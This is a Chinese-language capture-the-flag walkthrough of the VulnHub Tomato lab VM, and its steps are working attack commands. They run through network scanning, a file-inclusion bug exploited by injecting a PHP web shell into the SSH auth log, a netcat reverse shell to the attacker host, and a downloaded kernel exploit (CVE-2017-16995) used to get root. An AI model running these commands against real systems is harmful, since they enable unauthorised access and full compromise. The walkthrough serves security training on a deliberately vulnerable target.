今天实践的是vulnhub的Tomato镜像，

下载地址，https://download.vulnhub.com/tomato/Tomato.ova，

用workstation导入，做地址扫描，sudo netdiscover -r 192.168.58.0/24，

174就是靶机，

继续做端口扫描，sudo nmap -sS -sV -T5 -A -p- 192.168.58.174，

有http服务，做一下目录暴破，dirb http://192.168.58.174，

浏览器访问http://192.168.58.174/antibot_image，

进而访问目录内的文件，

访问到http://192.168.58.174/antibot_image/antibots/info.php，

查看源码，发现此处有文件包含漏洞，

浏览器访问http://192.168.58.174/antibot_image/antibots/info.php?image=/etc/passwd，验证一下，

再浏览器访问http://192.168.58.174/antibot_image/antibots/info.php?image=/var/log/auth.log，确认登录操作可被记录，

登录ssh -p 2211 '<?php system($_GET['cmd']); ?>'@192.168.58.174，

注入一句话木马，

浏览器访问http://192.168.58.174/antibot_image/antibots/info.php?image=/var/log/auth.log&cmd=id，确认一句话木马生效，

kali攻击机上开个反弹shell监听，nc -lvp 4444，

浏览器直接访问http://192.168.58.174/antibot_image/antibots/info.php?image=/var/log/auth.log&cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.58.168 4444 >/tmp/f，无果，

用burpsuite把反弹shell脚本转成url编码，再次浏览器访问，成功，

网上搜，ubuntu 16.04 4.4.0-21-generic local privilege escalation，

找到一个可利用的漏洞，

本地安装一个ubuntu16.04，

访问https://www.exploit-db.com/download/45010，

下载到poc源码，mv 45010 cve-2017-16995.c，

编译，gcc cve-2017-16995.c -o poc，

从靶机把poc文件下载过去，更改权限，chmod +x poc，

执行，./poc，id确认是root，